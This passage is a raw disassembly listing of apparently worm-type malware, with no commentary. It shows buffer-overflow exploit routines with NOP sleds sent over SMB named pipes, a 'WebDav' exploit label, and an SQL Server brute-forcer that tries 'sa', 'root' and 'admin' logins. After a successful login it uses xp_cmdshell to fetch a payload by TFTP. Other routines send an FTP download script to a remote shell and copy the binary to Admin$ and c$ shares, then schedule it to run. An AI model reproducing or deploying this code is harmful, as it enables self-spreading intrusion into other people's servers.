short loc_412FBF sub eax, ecx add al, 1Ah shl al, 1 mov [ebp+var_1], al mov [ebp+var_A9], al lea eax, [ebp+var_34] lea ecx, [eax+1] loc_412FDB: ; CODE XREF: sub_412F21+BFj mov dl, [eax] inc eax test dl, dl jnz short loc_412FDB sub eax, ecx shl al, 1 add al, 9 mov [ebp+var_7F], al xor eax, eax mov ax, word_42CE28 push eax call dword_435954 ; htons xor eax, 9999h cmp [ebp+arg_144], 0 mov word_42C718, ax mov eax, 90909090h jz loc_4130ED mov ecx, 36Bh lea edi, [ebp+var_EAC] rep stosd mov eax, [ebp+arg_144] imul eax, 3Ch mov edx, dword_42CE68[eax] mov eax, offset loc_42C668 mov ecx, eax mov [ebp+var_6C8], edx lea esi, [ecx+1] loc_413043: ; CODE XREF: sub_412F21+127j mov bl, [ecx] inc ecx test bl, bl jnz short loc_413043 sub ecx, esi mov ebx, ecx shr ecx, 2 mov esi, eax lea edi, [ebp+var_6B8] rep movsd mov ecx, ebx and ecx, 3 rep movsb mov ecx, eax mov [ebp+var_394], 6EB06EBh mov [ebp+var_390], edx lea esi, [ecx+1] loc_413077: ; CODE XREF: sub_412F21+15Bj mov dl, [ecx] inc ecx test dl, dl jnz short loc_413077 sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp+var_384] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax loc_413098: ; CODE XREF: sub_412F21+193j mov cl, [ebp+eax+var_EAC] and [ebp+eax*2+var_402B], 0 mov [ebp+eax*2+var_402C], cl inc eax cmp eax, 0DACh jl short loc_413098 and [ebp+var_24D4], 0 and [ebp+var_24D3], 0 mov edx, 714h mov ecx, edx mov eax, 31313131h lea edi, [ebp+var_81DC] rep stosd stosw mov ecx, edx mov eax, 31313131h lea edi, [ebp+var_6104] rep stosd stosw jmp short loc_413154 ; --------------------------------------------------------------------------- loc_4130ED: ; CODE XREF: sub_412F21+F0j mov ecx, 1F4h lea edi, [ebp+var_8D0] rep stosd mov eax, offset loc_42C668 mov ecx, eax lea esi, [ecx+1] loc_413104: ; CODE XREF: sub_412F21+1E8j mov dl, [ecx] inc ecx test dl, dl jnz short loc_413104 sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp+var_830] rep movsd mov ecx, eax and ecx, 3 lea eax, [ebp+var_C] rep movsb lea ecx, [eax+1] loc_413129: ; CODE XREF: sub_412F21+20Dj mov dl, [eax] inc eax test dl, dl jnz short loc_413129 sub eax, ecx mov ecx, eax shr ecx, 2 lea esi, [ebp+var_C] lea edi, [ebp+var_114] rep movsd mov ecx, eax mov eax, dword_42CE68 and ecx, 3 rep movsb mov [ebp+var_124], eax loc_413154: ; CODE XREF: sub_412F21+1CAj mov esi, [ebp+arg_140] mov ecx, 38Ah mov eax, 31313131h lea edi, [ebp+var_24D0] rep stosd stosb movsx eax, [ebp+var_1] push 0 add eax, 4 push eax lea eax, [ebp+var_AC] push eax push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jnz short loc_413191 loc_41318A: ; CODE XREF: sub_412F21+29Aj ; sub_412F21+2C1j ... xor al, al jmp loc_413329 ; --------------------------------------------------------------------------- loc_413191: ; CODE XREF: sub_412F21+267j push 0 mov ebx, 640h push ebx lea eax, [ebp+var_14EC] push eax push esi call dword_43577C ; recv xor edi, edi push edi push 68h push offset dword_42CA88 push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jz short loc_41318A push edi push ebx lea eax, [ebp+var_14EC] push eax push esi call dword_43577C ; recv push edi push 0A0h push offset dword_42CAF8 push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jz short loc_41318A push edi push ebx lea eax, [ebp+var_14EC] push eax push esi call dword_43577C ; recv cmp [ebp+arg_144], edi jz loc_4132A1 push 1Ah pop ecx mov esi, offset dword_42CCB8 lea edi, [ebp+var_81DC] rep movsd mov ecx, 6D6h lea esi, [ebp+var_402C] lea edi, [ebp+var_8174] rep movsd movsw push 1Ch pop ecx mov esi, offset dword_42CD28 lea edi, [ebp+var_6104] rep movsd mov ecx, 297h lea esi, [ebp+var_2F98] lea edi, [ebp+var_6094] rep movsd push 21h movsw pop ecx mov esi, offset dword_42CDA0 lea edi, [ebp+var_55D0] rep movsd xor esi, esi push esi push 10FCh lea eax, [ebp+var_81DC] push eax push [ebp+arg_140] call dword_43589C ; send cmp eax, 0FFFFFFFFh jz loc_41318A push esi push ebx lea eax, [ebp+var_14EC] push eax push [ebp+arg_140] call dword_43577C ; recv push esi push 0FDCh lea eax, [ebp+var_6104] jmp short loc_4132E8 ; --------------------------------------------------------------------------- loc_4132A1: ; CODE XREF: sub_412F21+2D9j push 1Fh pop ecx mov esi, offset dword_42CBA0 lea edi, [ebp+var_24D0] rep movsd push 24h mov ecx, 1F4h lea esi, [ebp+var_8D0] lea edi, [ebp+var_2454] rep movsd pop ecx mov esi, offset off_42CC20 lea edi, [ebp+var_1C84] push 0 rep movsd and [ebp+var_17D9], 0 push 0CF8h lea eax, [ebp+var_24D0] loc_4132E8: ; CODE XREF: sub_412F21+37Ej push eax push [ebp+arg_140] call dword_43589C ; send cmp eax, 0FFFFFFFFh jz loc_41318A push 12Ch call ds:dword_420000 ; Sleep sub esp, 140h push 50h pop ecx lea esi, [ebp+arg_0] mov edi, esp rep movsd call sub_412DDE add esp, 140h test al, al setnz al loc_413329: ; CODE XREF: sub_412F21+26Bj pop edi pop esi pop ebx leave retn sub_412F21 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor eax, eax lea edi, [ebp-14h] stosd stosd stosd stosd lea eax, [ebp+0Ch] xor esi, esi push eax mov [ebp-4], esi mov word ptr [ebp-14h], 2 call dword_43587C ; inet_addr push dword ptr [ebp+12Ch] mov [ebp-10h], eax call dword_435954 ; htons push 6 push 1 push 2 mov [ebp-12h], ax call dword_435808 ; socket mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jz loc_41342A push 10h lea eax, [ebp-14h] push eax push ebx call dword_4357C0 ; connect cmp eax, edi jz loc_413423 push esi push 89h push offset dword_42C800 push ebx call dword_43589C ; send cmp eax, edi jz short loc_413423 push esi mov esi, 640h push esi lea eax, [ebp-854h] push eax push ebx call dword_43577C ; recv push 0 push 0A8h push offset dword_42C890 push ebx call dword_43589C ; send cmp eax, edi jz short loc_413423 push 0 push esi lea eax, [ebp-854h] push eax push ebx call dword_43577C ; recv push 0 push 0DEh push offset dword_42C940 push ebx call dword_43589C ; send cmp eax, edi jz short loc_413423 push 0 push esi lea eax, [ebp-854h] push eax push ebx call dword_43577C ; recv movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_413435 dec eax jz short loc_413431 loc_413423: ; CODE XREF: .text:00413393j ; .text:004133ADj ... push ebx call dword_435914 ; closesocket loc_41342A: ; CODE XREF: .text:0041337Ej xor eax, eax jmp loc_4134F7 ; --------------------------------------------------------------------------- loc_413431: ; CODE XREF: .text:00413421j push 0 jmp short loc_413459 ; --------------------------------------------------------------------------- loc_413435: ; CODE XREF: .text:0041341Ej push 2 push ebx sub esp, 140h push 50h pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_412F21 add esp, 148h test al, al jnz short loc_413479 push 1 loc_413459: ; CODE XREF: .text:00413433j push ebx sub esp, 140h push 50h pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_412F21 add esp, 148h test al, al jz short loc_413480 loc_413479: ; CODE XREF: .text:00413455j mov dword ptr [ebp-4], 1 loc_413480: ; CODE XREF: .text:00413477j push ebx call dword_435914 ; closesocket cmp dword ptr [ebp-4], 0 jz short loc_4134F4 lea eax, [ebp+0Ch] push eax mov eax, [ebp+134h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call sub_41466D push 0 push dword ptr [ebp+13Ch] lea eax, [ebp-214h] push eax lea eax, [ebp+0A0h] push eax push dword ptr [ebp+8] call sub_4056BF lea eax, [ebp-214h] push eax call sub_401EFF mov eax, [ebp+134h] imul eax, 3Ch lea eax, dword_42B070[eax] add esp, 2Ch inc dword ptr [eax] loc_4134F4: ; CODE XREF: .text:0041348Bj xor eax, eax inc eax loc_4134F7: ; CODE XREF: .text:0041342Cj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 8590h call sub_414630 mov eax, ds:dword_428B6C push ebx push esi mov [ebp-0Ch], eax mov eax, ds:dword_428B70 push edi mov [ebp-8], eax lea eax, [ebp+0Ch] push 1 push eax call sub_40398A test eax, eax pop ecx pop ecx jz loc_413AE7 cmp eax, 1 jz loc_413AE7 cmp eax, 3 jnz short loc_413545 and dword ptr [ebp-10h], 0 jmp short loc_413559 ; --------------------------------------------------------------------------- loc_413545: ; CODE XREF: .text:0041353Dj call sub_4145D1 push 0Ah cdq pop ecx idiv ecx neg edx sbb edx, edx inc edx inc edx mov [ebp-10h], edx loc_413559: ; CODE XREF: .text:00413543j lea eax, [ebp+0Ch] push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp-58h] push 28h push eax call sub_41466D add esp, 10h xor eax, eax loc_413572: ; CODE XREF: .text:00413589j mov cl, [ebp+eax-58h] and byte ptr [ebp+eax*2-11Fh], 0 mov [ebp+eax*2-120h], cl inc eax cmp eax, 28h jl short loc_413572 push 18h pop ecx mov esi, offset dword_42D2D8 lea edi, [ebp-0D0h] lea eax, [ebp-58h] rep movsd lea edx, [eax+1] loc_4135A1: ; CODE XREF: .text:004135A6j mov cl, [eax] inc eax test cl, cl jnz short loc_4135A1 sub eax, edx mov ecx, eax lea esi, [ebp-120h] lea edi, [ebp-0A0h] lea eax, [ebp-58h] rep movsw lea ecx, [eax+1] loc_4135C1: ; CODE XREF: .text:004135C6j mov dl, [eax] inc eax test dl, dl jnz short loc_4135C1 sub eax, ecx lea edi, [ebp+eax*2-0A1h] mov esi, (offset aC_5+3) movsd movsd lea eax, [ebp-58h] movsb lea ecx, [eax+1] loc_4135DF: ; CODE XREF: .text:004135E4j mov dl, [eax] inc eax test dl, dl jnz short loc_4135DF sub eax, ecx add al, 1Ah shl al, 1 mov [ebp-1], al mov [ebp-0CDh], al lea eax, [ebp-58h] lea ecx, [eax+1] loc_4135FB: ; CODE XREF: .text:00413600j mov dl, [eax] inc eax test dl, dl jnz short loc_4135FB sub eax, ecx shl al, 1 add al, 9 push 135h mov [ebp-0A3h], al call dword_435954 ; htons mov ebx, [ebp-10h] xor eax, 9999h cmp ebx, 1 mov word_42CFD0, ax jz short loc_4136A6 cmp ebx, 2 jz short loc_4136A6 mov eax, 90909090h mov ecx, 1F4h lea edi, [ebp-12C4h] rep stosd mov eax, offset loc_42CF20 mov ecx, eax lea esi, [ecx+1] loc_41364D: ; CODE XREF: .text:00413652j mov dl, [ecx] inc ecx test dl, dl jnz short loc_41364D sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp-1224h] rep movsd mov ecx, eax and ecx, 3 lea eax, [ebp-0Ch] rep movsb lea ecx, [eax+1] loc_413672: ; CODE XREF: .text:00413677j mov dl, [eax] inc eax test dl, dl jnz short loc_413672 sub eax, ecx mov ecx, eax shr ecx, 2 lea esi, [ebp-0Ch] lea edi, [ebp-0B08h] rep movsd mov ecx, eax and ecx, 3 imul ebx, 3Ch mov eax, dword_42D718[ebx] rep movsb mov [ebp-0B18h], eax jmp loc_413778 ; --------------------------------------------------------------------------- loc_4136A6: ; CODE XREF: .text:0041362Aj ; .text:0041362Fj imul ebx, 3Ch mov edx, dword_42D718[ebx] mov eax, 90909090h mov ecx, 36Bh lea edi, [ebp-18A0h] rep stosd mov eax, offset loc_42CF20 mov ecx, eax mov [ebp-10BCh], edx lea esi, [ecx+1] loc_4136D1: ; CODE XREF: .text:004136D6j mov bl, [ecx] inc ecx test bl, bl jnz short loc_4136D1 sub ecx, esi mov ebx, ecx shr ecx, 2 mov esi, eax lea edi, [ebp-10ACh] rep movsd mov ecx, ebx and ecx, 3 rep movsb mov ecx, eax mov dword ptr [ebp-0D88h], 6EB06EBh mov [ebp-0D84h], edx lea esi, [ecx+1] loc_413705: ; CODE XREF: .text:0041370Aj mov dl, [ecx] inc ecx test dl, dl jnz short loc_413705 sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp-0D78h] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax loc_413726: ; CODE XREF: .text:00413742j mov cl, [ebp+eax-18A0h] and byte ptr [ebp+eax*2-43DFh], 0 mov [ebp+eax*2-43E0h], cl inc eax cmp eax, 0DACh jl short loc_413726 and byte ptr [ebp-2888h], 0 and byte ptr [ebp-2887h], 0 mov edx, 714h mov esi, 31313131h mov ecx, edx mov eax, esi lea edi, [ebp-8590h] rep stosd stosw mov ecx, edx mov eax, esi lea edi, [ebp-64B8h] rep stosd stosw loc_413778: ; CODE XREF: .text:004136A1j mov ecx, 38Ah mov eax, 31313131h lea edi, [ebp-2884h] rep stosd xor ebx, ebx push ebx push 1 push 2 stosb call dword_435808 ; socket mov esi, eax xor eax, eax cmp esi, 0FFFFFFFFh mov [ebp-8], esi jz loc_413AE9 push dword ptr [ebp+12Ch] lea edi, [ebp-30h] stosd stosd stosd stosd mov word ptr [ebp-30h], 2 call dword_435954 ; htons mov [ebp-2Eh], ax lea eax, [ebp+0Ch] push eax call dword_43587C ; inet_addr mov [ebp-2Ch], eax push 10h lea eax, [ebp-30h] push eax push esi call dword_4357C0 ; connect cmp eax, 0FFFFFFFFh jz loc_413AE0 push ebx push 89h push offset dword_42D0B8 push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jz loc_413AE0 push ebx mov ebx, 640h push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43577C ; recv xor edi, edi push edi push 0A8h push offset dword_42D148 push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jz loc_413AE0 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43577C ; recv push edi push 0DEh push offset dword_42D1F8 push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jz loc_413AE0 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43577C ; recv movsx eax, byte ptr [ebp-1] push edi add eax, 4 push eax lea eax, [ebp-0D0h] push eax push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jz loc_413AE0 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43577C ; recv push edi push 68h push offset dword_42D340 push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jz loc_413AE0 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43577C ; recv push edi push 0A0h push offset dword_42D3B0 push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jz loc_413AE0 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43577C ; recv cmp dword ptr [ebp-10h], 1 jz short loc_413961 cmp dword ptr [ebp-10h], 2 jz short loc_413961 push 1Fh pop ecx mov esi, offset dword_42D458 lea edi, [ebp-2884h] rep movsd push 24h mov ecx, 1F4h lea esi, [ebp-12C4h] lea edi, [ebp-2808h] rep movsd pop ecx push 0 push 0CF8h lea eax, [ebp-2884h] mov esi, offset off_42D4D8 lea edi, [ebp-2038h] push eax push dword ptr [ebp-8] rep movsd and byte ptr [ebp-1B8Dh], 0 loc_41394A: ; CODE XREF: .text:004139FBj call dword_43589C ; send cmp eax, 0FFFFFFFFh jnz loc_413A00 loc_413959: ; CODE XREF: .text:00413A24j push dword ptr [ebp-8] jmp loc_413AE1 ; --------------------------------------------------------------------------- loc_413961: ; CODE XREF: .text:004138F7j ; .text:004138FDj push 1Ah pop ecx mov esi, offset dword_42D570 lea edi, [ebp-8590h] rep movsd mov ecx, 6D6h lea esi, [ebp-43E0h] lea edi, [ebp-8528h] rep movsd movsw push 1Ch pop ecx mov esi, offset dword_42D5E0 lea edi, [ebp-64B8h] rep movsd mov ecx, 297h lea esi, [ebp-334Ch] lea edi, [ebp-6448h] rep movsd push 21h movsw pop ecx mov esi, offset dword_42D658 lea edi, [ebp-5984h] rep movsd mov esi, [ebp-8] xor edi, edi push edi push 10FCh lea eax, [ebp-8590h] push eax push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jz loc_413AE0 push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43577C ; recv push edi push 0FDCh lea eax, [ebp-64B8h] push eax push esi jmp loc_41394A ; --------------------------------------------------------------------------- loc_413A00: ; CODE XREF: .text:00413953j push 0 push ebx lea eax, [ebp-0AF0h] push eax push dword ptr [ebp-8] call dword_43577C ; recv push 6 push 1 push 2 call dword_435808 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_413959 xor eax, eax lea edi, [ebp-20h] stosd stosd stosd stosd push 135h mov word ptr [ebp-20h], 2 call dword_435954 ; htons mov [ebp-1Eh], ax lea eax, [ebp+0Ch] push eax call dword_43587C ; inet_addr mov [ebp-1Ch], eax push 10h lea eax, [ebp-20h] push eax push esi call dword_4357C0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_413A6C push dword ptr [ebp-8] jmp short loc_413ADA ; --------------------------------------------------------------------------- loc_413A6C: ; CODE XREF: .text:00413A65j xor edi, edi push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43577C ; recv test eax, eax jle short loc_413AE7 push 1F4h call ds:dword_420000 ; Sleep push dword ptr [ebp+9Ch] lea eax, [ebp+1Ch] push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo a"... lea eax, [ebp-2B0h] push 190h push eax call sub_41466D lea eax, [ebp-2B0h] add esp, 14h lea edx, [eax+1] loc_413AB9: ; CODE XREF: .text:00413ABEj mov cl, [eax] inc eax test cl, cl jnz short loc_413AB9 push edi sub eax, edx push eax lea eax, [ebp-2B0h] push eax push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh push dword ptr [ebp-8] jnz short loc_413AEE loc_413ADA: ; CODE XREF: .text:00413A6Aj call dword_435914 ; closesocket loc_413AE0: ; CODE XREF: .text:004137E2j ; .text:004137FDj ... push esi loc_413AE1: ; CODE XREF: .text:0041395Cj call dword_435914 ; closesocket loc_413AE7: ; CODE XREF: .text:0041352Bj ; .text:00413534j ... xor eax, eax loc_413AE9: ; CODE XREF: .text:004137A2j ; .text:00413B70j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413AEE: ; CODE XREF: .text:00413AD8j call dword_435914 ; closesocket push esi call dword_435914 ; closesocket lea eax, [ebp+0Ch] push eax mov eax, [ebp+134h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSTryingToXploi ; "[%s]: Trying to Xploit IP: %s." lea eax, [ebp-4B0h] push 200h push eax call sub_41466D add esp, 14h cmp [ebp+140h], edi jnz short loc_413B4F push edi push dword ptr [ebp+13Ch] lea eax, [ebp-4B0h] push eax lea eax, [ebp+0A0h] push eax push dword ptr [ebp+8] call sub_4056BF add esp, 14h loc_413B4F: ; CODE XREF: .text:00413B2Dj lea eax, [ebp-4B0h] push eax call sub_401EFF mov eax, [ebp+134h] imul eax, 3Ch lea eax, dword_42B070[eax] inc dword ptr [eax] xor eax, eax pop ecx inc eax jmp loc_413AE9 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0E30h push ebx xor ebx, ebx lea eax, [ebp-14h] push eax push ebx push 1 mov [ebp-1], bl mov dword ptr [ebp-30h], offset aSa ; "sa" mov dword ptr [ebp-2Ch], offset aRoot ; "root" mov dword ptr [ebp-28h], offset aAdmin ; "admin" mov [ebp-24h], ebx mov [ebp-1Ch], ebx mov [ebp-0Ch], ebx mov [ebp-10h], ebx call dword_43582C test ax, ax jnz short loc_413BCE push 0FFFFFFFAh push 3 push 0C8h push dword ptr [ebp-14h] call dword_4357C4 test ax, ax jz short loc_413BD5 loc_413BCE: ; CODE XREF: .text:00413BB5j xor eax, eax jmp loc_413E23 ; --------------------------------------------------------------------------- loc_413BD5: ; CODE XREF: .text:00413BCCj push esi lea eax, [ebp-0Ch] push eax push dword ptr [ebp-14h] push 2 call dword_43582C test ax, ax jz short loc_413BF1 xor esi, esi jmp loc_413E15 ; --------------------------------------------------------------------------- loc_413BF1: ; CODE XREF: .text:00413BE8j lea eax, [ebp-30h] push edi mov edi, ds:dword_420000 mov [ebp-8], eax loc_413BFE: ; CODE XREF: .text:00413E03j cmp dword_42C0D8, ebx mov [ebp-18h], ebx jz loc_413DF2 mov eax, offset dword_42C0D8 mov esi, eax loc_413C14: ; CODE XREF: .text:00413C8Ej lea ecx, [ebp-1] push ecx push dword ptr [eax] mov eax, [ebp-8] push dword ptr [eax] lea eax, [ebp+0Ch] push dword ptr [ebp+12Ch] push eax lea eax, [ebp-0A30h] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax call sub_414415 lea eax, [ebp-0A30h] add esp, 1Ch lea ecx, [eax+1] loc_413C46: ; CODE XREF: .text:00413C4Bj mov dl, [eax] inc eax cmp dl, bl jnz short loc_413C46 push ebx sub eax, ecx lea ecx, [ebp-20h] push ecx push 400h lea ecx, [ebp-0E30h] push ecx push eax lea eax, [ebp-0A30h] push eax push ebx push dword ptr [ebp-0Ch] call dword_4358F4 cmp ax, bx jz short loc_413C95 cmp ax, 1 jz short loc_413C95 push 1F4h call edi ; Sleep inc dword ptr [ebp-18h] add esi, 4 cmp [esi], ebx mov eax, esi jnz short loc_413C14 jmp loc_413DF2 ; --------------------------------------------------------------------------- loc_413C95: ; CODE XREF: .text:00413C75j ; .text:00413C7Bj lea eax, [ebp-10h] push eax push dword ptr [ebp-0Ch] push 3 call dword_43582C mov esi, offset byte_42BF4C push esi push dword ptr [ebp+8] call sub_407D15 pop ecx push eax lea eax, [ebp-630h] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'tftp -i %s GE"... push eax call sub_414415 add esp, 10h push 0FFFFFFFDh lea eax, [ebp-630h] push eax push dword ptr [ebp-10h] call dword_43590C test ax, ax jz loc_413DDE push 1388h call edi ; Sleep push esi lea eax, [ebp-630h] push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" push eax call sub_414415 lea eax, [ebp+0Ch] push eax lea eax, [ebp-230h] push offset aTftpFileTran_1 ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_414415 add esp, 18h xor esi, esi loc_413D16: ; CODE XREF: .text:00413D49j lea eax, [ebp-230h] push eax call sub_401FDF test eax, eax pop ecx jz short loc_413D3E push 0FFFFFFFDh lea eax, [ebp-630h] push eax push dword ptr [ebp-10h] call dword_43590C test ax, ax jz short loc_413D50 loc_413D3E: ; CODE XREF: .text:00413D25j push 1388h call edi ; Sleep inc esi cmp esi, 6 jl short loc_413D16 jmp loc_413DDE ; --------------------------------------------------------------------------- loc_413D50: ; CODE XREF: .text:00413D3Cj mov eax, [ebp-18h] push dword_42C0D8[eax*4] mov eax, [ebp-8] push dword ptr [eax] lea eax, [ebp+0Ch] push dword ptr [ebp+12Ch] mov dword ptr [ebp-1Ch], 1 push eax mov eax, [ebp+134h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingI_0 ; "[%s]: Exploiting IP: (%s:%d) User: (%s/"... lea eax, [ebp-230h] push 200h push eax call sub_41466D add esp, 20h cmp [ebp+140h], ebx jnz short loc_413DC0 push ebx push dword ptr [ebp+13Ch] lea eax, [ebp-230h] push eax lea eax, [ebp+0A0h] push eax push dword ptr [ebp+8] call sub_4056BF add esp, 14h loc_413DC0: ; CODE XREF: .text:00413D9Ej lea eax, [ebp-230h] push eax call sub_401EFF mov eax, [ebp+134h] imul eax, 3Ch lea eax, dword_42B070[eax] inc dword ptr [eax] pop ecx loc_413DDE: ; CODE XREF: .text:00413CDDj ; .text:00413D4Bj push dword ptr [ebp-0Ch] call dword_4357D0 push dword ptr [ebp-10h] push 3 call dword_4358B8 loc_413DF2: ; CODE XREF: .text:00413C07j ; .text:00413C90j mov esi, [ebp-1Ch] cmp esi, 1 jz short loc_413E09 add dword ptr [ebp-8], 4 mov eax, [ebp-8] cmp [eax], ebx jnz loc_413BFE loc_413E09: ; CODE XREF: .text:00413DF8j push dword ptr [ebp-0Ch] push 2 call dword_4358B8 pop edi loc_413E15: ; CODE XREF: .text:00413BECj push dword ptr [ebp-14h] push 1 call dword_4358B8 mov eax, esi pop esi loc_413E23: ; CODE XREF: .text:00413BD0j pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E26 proc near ; CODE XREF: sub_4140A2+37p var_6F0 = byte ptr -6F0h var_4E8 = byte ptr -4E8h var_2E8 = byte ptr -2E8h var_15D = byte ptr -15Dh var_158 = byte ptr -158h var_54 = byte ptr -54h var_50 = dword ptr -50h var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_A4 = byte ptr 0ACh arg_138 = dword ptr 140h arg_140 = dword ptr 148h arg_144 = dword ptr 14Ch push ebp mov ebp, esp sub esp, 6F0h push ebx push esi mov esi, [ebp+arg_8] push edi push 8 pop ecx xor ebx, ebx push ebx push [ebp+arg_0] xor eax, eax push [ebp+arg_4] lea edi, [ebp+var_54] rep stosd lea eax, [ebp+var_54] push eax mov [ebp+var_40], esi mov [ebp+var_50], 1 mov [ebp+var_44], ebx mov [ebp+var_38], ebx call dword_4358A8 test eax, eax jz short loc_413E73 push 0Ah call ds:dword_420000 ; Sleep jmp loc_41408E ; --------------------------------------------------------------------------- loc_413E73: ; CODE XREF: sub_413E26+3Ej push 190h lea eax, [ebp+var_2E8] push eax push 0FFFFFFFFh push esi push ebx push ebx mov [ebp+var_20], offset aAdminSystem32 ; "Admin$\\system32" mov [ebp+var_1C], offset aCWinntSystem32 ; "c$\\winnt\\system32" mov [ebp+var_18], offset aCWindowsSystem ; "c$\\windows\\system32" mov [ebp+var_14], offset aC ; "c" mov [ebp+var_10], offset aD ; "d" mov [ebp+var_8], ebx call ds:dword_4200D4 ; MultiByteToWideChar lea eax, [ebp+var_8] push eax lea eax, [ebp+var_2E8] push eax call dword_435784 test eax, eax jnz loc_41408B cmp [ebp+var_8], ebx jz loc_41408B mov edi, ds:dword_4200FC mov [ebp+var_4], ebx mov esi, offset byte_42BF4C loc_413EE0: ; CODE XREF: sub_413E26+14Fj mov eax, [ebp+var_4] push esi push [ebp+eax*4+var_20] lea eax, [ebp+var_158] push [ebp+arg_8] push offset aSSS_3 ; "%s\\%s\\%s" push eax call sub_414415 add esp, 14h push ebx lea eax, [ebp+var_158] push eax push esi call edi ; CopyFileA cmp eax, ebx mov [ebp+var_C], eax jnz short loc_413F8E call ds:dword_420008 ; RtlGetLastWin32Error cmp eax, 5 jnz short loc_413F6E lea eax, [ebp+var_158] push ebx push eax call sub_414D44 test eax, eax pop ecx pop ecx jnz short loc_413F6E lea eax, [ebp+var_158] lea edx, [eax+1] loc_413F38: ; CODE XREF: sub_413E26+117j mov cl, [eax] inc eax cmp cl, bl jnz short loc_413F38 sub eax, edx mov [ebp+var_C], eax call sub_4145D1 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_C] push ebx add dl, 30h mov [ebp+eax+var_15D], dl lea eax, [ebp+var_158] push eax push esi call edi ; CopyFileA cmp eax, ebx mov [ebp+var_C], eax jnz short loc_413F8E loc_413F6E: ; CODE XREF: sub_413E26+F4j ; sub_413E26+107j inc [ebp+var_4] cmp [ebp+var_4], 5 jb loc_413EE0 cmp [ebp+var_C], ebx jnz short loc_413F8E push [ebp+var_8] call dword_435840 jmp loc_41408E ; --------------------------------------------------------------------------- loc_413F8E: ; CODE XREF: sub_413E26+E9j ; sub_413E26+146j ... mov ecx, [ebp+var_8] mov eax, [ecx] push 3Ch pop edi xor edx, edx div edi xor edx, edx lea edi, [ebp+var_34] push 208h sub eax, [ecx+18h] mov ecx, 5A0h inc eax inc eax div ecx xor eax, eax stosd stosd stosd stosd lea eax, [ebp+var_6F0] push eax push 0FFFFFFFFh push esi push ebx push ebx imul edx, 0EA60h mov [ebp+var_34], edx call ds:dword_4200D4 ; MultiByteToWideChar lea eax, [ebp+var_6F0] mov [ebp+var_28], eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2E8] push eax call dword_4357BC test eax, eax jnz loc_41408B mov eax, [ebp+arg_4] xor ecx, ecx inc ecx mov edi, 420AEAh mov esi, eax xor edx, edx repe cmpsb jnz short loc_41400F mov eax, offset aNoPassword ; "(no password)" loc_41400F: ; CODE XREF: sub_413E26+1E2j push eax push [ebp+arg_0] mov eax, [ebp+var_4] push [ebp+eax*4+var_20] mov eax, [ebp+arg_138] push [ebp+arg_8] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingI_1 ; "[%s]: Exploiting IP: %s, Share: \\%s, Us"... lea eax, [ebp+var_4E8] push 200h push eax call sub_41466D add esp, 20h cmp [ebp+arg_144], ebx jnz short loc_41406D push ebx push [ebp+arg_140] lea eax, [ebp+var_4E8] push eax lea eax, [ebp+arg_A4] push eax push [ebp+arg_C] call sub_4056BF add esp, 14h loc_41406D: ; CODE XREF: sub_413E26+225j lea eax, [ebp+var_4E8] push eax call sub_401EFF mov eax, [ebp+arg_138] 